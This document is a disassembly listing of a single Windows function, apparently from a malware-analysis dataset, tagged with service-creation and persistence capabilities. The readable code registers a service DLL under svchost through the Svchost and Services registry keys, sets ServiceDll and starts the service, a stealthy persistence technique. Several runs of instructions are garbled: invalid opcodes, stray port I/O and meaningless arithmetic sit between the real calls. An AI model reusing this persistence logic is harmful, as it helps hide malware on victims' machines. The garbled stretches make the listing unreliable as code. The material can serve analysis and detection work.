Function at 0x414060
Capabilities:
Create service
Get common file path
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5dd66c
mov eax, dword fs:[0]
push eax
sub esp, 0x298
mov eax, dword [0x67432c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x270], eax
xor eax, eax
mov dword [ebp - 0x26c], esi
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
cmp word [edx], ax
jne 0x4140d5
xor ecx, ecx
jmp 0x4140f5
mov ecx, edx
lea esi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4140e0
sub ecx, esi
mov esi, dword [ebp - 0x26c]
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x230]
call fcn.00402ad0
lea eax, [ebp - 0x264]
mov dword [ebp - 4], 0
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x264], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4141da
mov edx, esi
lea ecx, [edx + 2]
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x414140
sub edx, ecx
lea ecx, [ebp - 0x230]
sar edx, 1
cmp dword [ebp - 0x21c], 8
cmovae ecx, dword [ebp - 0x230]
lea eax, [edx*2 + 2]
push eax
push esi
push 7
push 0
push ecx
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4141da
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.0045209f
test al, al
je 0x4141b5
xor eax, 0x203f43f8
mov ah, 0x3f
cli
add al, 0x45
xchg edi, eax
outsd dx, dword [esi]
mov bl, 0x62
mov ch, 0x67
xchg edx, eax
nop
pop ecx
fadd dword [ebp - 0x5941d195]
pop ecx
imul eax, dword [edi + 0x3f6896cb], 0x6a000f00
add byte [edx], ch
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x280], ebx
test ebx, ebx
jne 0x41421a
push 0x7a
call fcn.004587e8
add esp, 4
xor esi, esi
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x4141fa
inc ecx
push ecx
push dword [ebp - 0x230]
lea ecx, [ebp - 0x230]
call fcn.00402c20
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046d81d
mov esp, ebp
pop ebp
ret 0x14
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00480640
add esp, 0xc
lea ecx, [ebp - 0x248]
push 0x5e6948
call fcn.004041e0
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 1
call fcn.00464345
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 2
call fcn.0046440b
test eax, eax
lea eax, [ebp - 0x218]
push 0x104
push eax
je 0x414276
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x41427c
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x248]
call fcn.00404470
push str._svchost.exe__k
lea ecx, [ebp - 0x248]
call fcn.0040aae0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x248]
call fcn.00405c90
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
push 0
cmovae eax, dword [ebp - 0x248]
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push 0x20
push 0xf01ff
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
mov dword [ebp - 0x27c], ebx
test ebx, ebx
jne 0x414304
invalid
push 0x7b
call fcn.004587e8
add esp, 4
xor esi, esi
jmp 0x41453a
call fcn.00451f46
test al, al
je 0x41431d
add byte [eax + eax*8 + 0x13151074], al
ficomp word [edx]
mov eax, ecx
loopne 0x4142c8
adc eax, 0x891ade13
enter 0xffffffffffffb3e0, 0xffffffffffffffe5
add dword [eax + 0x1d70c18], esp
in eax, 1
mov al, byte [0x1d70c18]
mov esi, 0xfd90858b
invalid
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x274], eax
lea eax, [ebp - 0x274]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
call fcn.004523db
test al, al
je 0x41435f
inc ecx
invalid
or dword [edx + 0x6e], 0xffffff99
sbb al, 0x73
test eax, 0x133b63f1
pushal
jg 0x414379
cmpsd dword [esi], dword es:[edi]
out 0xb3, al
popal
rcl dword [ecx + 0x4e], cl
shr al, cl
mov esp, ecx
add eax, dword [eax]
call fcn.004524ef
test al, al
je 0x414386
jne 0x4143d9
mov dword [esi + ebx], ebx
mov byte [eax], bl
jnp 0x414349
rol esi, 0x1b
or edi, dword [ebx + 0x3e]
salc
pushal
outsb dx, byte [esi]
sub al, 0x26
jnp 0x414308
xor dword [ecx + 0x3a0b6d22], ebx
jo 0x41435b
push str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp - 0x260]
call fcn.004041e0
push dword [ebp - 0x26c]
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 3
call fcn.0040aae0
cmp dword [ebp - 0x24c], 8
lea ecx, [ebp - 0x264]
push ecx
push 0xf003f
lea eax, [ebp - 0x260]
cmovae eax, dword [ebp - 0x260]
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
or al, 0x60
pop esi
add byte [ebp + 0x4c850fc0], al
add dword [eax], eax
add al, ch
cmc
fild word [ebx]
add byte [eax + eax*8 - 0x1025e48c], al
adc ebx, esp
lea edx, [esi]
mov ebp, 0xa61bac0c
test al, 0x84
cmp bh, bl
sbb eax, 0xb17e2975
scasb al, byte es:[edi]
in eax, dx
scasb al, byte es:[edi]
pop esi
jbe 0x414431
test eax, eax
jne 0x41452d
call fcn.004523db
test al, al
je 0x414405
invalid
inc ecx
call fcn.0045223d
test al, al
je 0x414423
or bh, al
or eax, 0x2024e6c6
mov ah, 0xb4
ret 0x3c63
call fcn.00452396
test al, al
je 0x41443e
call 0xd35c3d39
xor dl, byte [edx - 0x5c]
jb 0x41446c
sahf
test esi, ebx
add dh, byte [esp + ebx*2 - 0x224a17c5]
add eax, dword [eax]
call fcn.004521f8
test al, al
je 0x414462
jnp 0x4143d5
xlatb
add eax, 0xc66882de
invalid
call fcn.0045209f
test al, al
je 0x414489
imul eax, dword [0x45794892], 0xffffffca
pop ebp
test ebp, edx
add edi, dword [0x2e54b882]
stosd dword es:[edi], eax
shl dword [ecx + 0x11e4d3d1], 1
imul edx, eax, 0xcafe0aa2
std
add eax, 0x45794892
retf 0x855d
lea eax, [ebp - 0x268]
mov dword [ebp - 0x268], 0
push eax
push str.Parameters
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x41452d
mov ecx, dword [ebp - 0x278]
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
jb 0x4144c0
mov ecx, dword [ecx]
lea eax, [eax*2 + 2]
push eax
push ecx
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x268]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x41452d
mov esi, dword [ebp - 0x27c]
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4144ff
push 0x7c
call fcn.004587e8
add esp, 4
push dword [ebp - 0x264]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x268]
call edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x280]
call esi
mov esi, 1
jmp 0x41452f
xor esi, esi
lea ecx, [ebp - 0x260]
call fcn.00403710
lea ecx, [ebp - 0x2a4]
call fcn.00464358
lea ecx, [ebp - 0x248]
call fcn.00403710
jmp 0x4141dc